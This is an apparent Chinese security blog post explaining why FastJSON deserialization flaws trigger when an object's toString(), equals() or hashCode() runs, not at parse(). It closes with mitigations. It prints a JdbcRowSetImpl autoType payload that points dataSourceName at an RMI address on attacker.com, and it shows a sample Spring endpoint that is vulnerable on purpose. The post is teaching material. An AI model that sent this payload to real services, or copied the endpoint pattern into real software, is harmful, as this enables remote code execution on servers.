💥 为什么 FastJSON 漏洞不是在 parse() 阶段触发,而是在 toString() 等方法中爆发?
在渗透测试中,FastJSON 的反序列化漏洞是一个“老面孔”了。但很多新手刚开始接触时,会有一个疑惑:
“明明是调用了
JSON.parse()
,为什么漏洞却是toString()
、equals()
时才触发的?”
别急,这篇文章就来揭开这个“延迟爆炸”的秘密 🔍
🎯 一、简单说明
1、FastJSON 的 parse()
阶段负责“创建对象”
2、真正触发漏洞的动作(如远程加载类、执行命令),往往发生在使用该对象的过程中
- 比如调用
toString()
、equals()
、hashCode()
等。
🧠 二、好比:快递里的炸弹
想象一下:
JSON.parse()
:就代表你签收了一个快递,里面装了颗炸弹(恶意对象),但你还没打开它。toString()
:就代表你拆开了,不小心触发开关 —— 啪!炸了。
所以:
parse()
→ 只是“装载炸弹”toString()
等调用 → 真正“引爆炸弹”
🔍 三、原理分析
以常见的漏洞利用类 JdbcRowSetImpl
为例:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com/Exploit",
"autoCommit": true
}
✅ parse()
阶段
FastJSON 会:
- 利用
@type
找到对应的类(例如JdbcRowSetImpl
) - 使用反射 new 出对象
- 为其字段赋值(设置 dataSourceName 和 autoCommit)
此阶段没有主动调用该对象的方法!
💣 触发“爆炸”阶段
以下这些操作会触发恶意类中的逻辑:
- 日志打印:
log.info(obj.toString())
- 集合操作:
Set.add(obj)
(会调用hashCode()
) - 对象比较:
obj.equals(...)
- 某些框架自动处理:Spring MVC、Jackson 等可能会触发 getter
👉 只要对象的方法中存在恶意逻辑,如构造远程连接、执行脚本、反射加载类等,就可能触发 RCE(远程命令执行)
🧪 四、代码示例
@PostMapping("/send")
public void sendPayload(@RequestParam String payload) {
Object data = JSON.parse(payload); // 阶段一:未触发
System.out.println(data); // 阶段二:触发 toString(),漏洞爆发
}
只要你打印了它,就等于引爆了它。
🔐 五、修复方案
防护措施 | 描述 |
---|---|
禁用 autoType | 阻止 FastJSON 加载任意类 |
使用类型白名单 | 明确哪些类可以被反序列化 |
避免接收 Object 类型参数 | 指定明确的 Bean 类型 |
升级 FastJSON 至最新版本 | 修复已知漏洞,默认关闭危险特性 |
避免对用户数据直接调用 toString() 等 | 日志记录前进行类型判断 |
📌 总结
FastJSON 并不是在你调用
parse()
的那一刻就“立刻引爆”,而是在你稍不注意使用这个对象时(如.toString()
),才真正触发漏洞。所以反序列化漏洞不在“序列化本身”,而在你“相信了它”并用错了它。
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容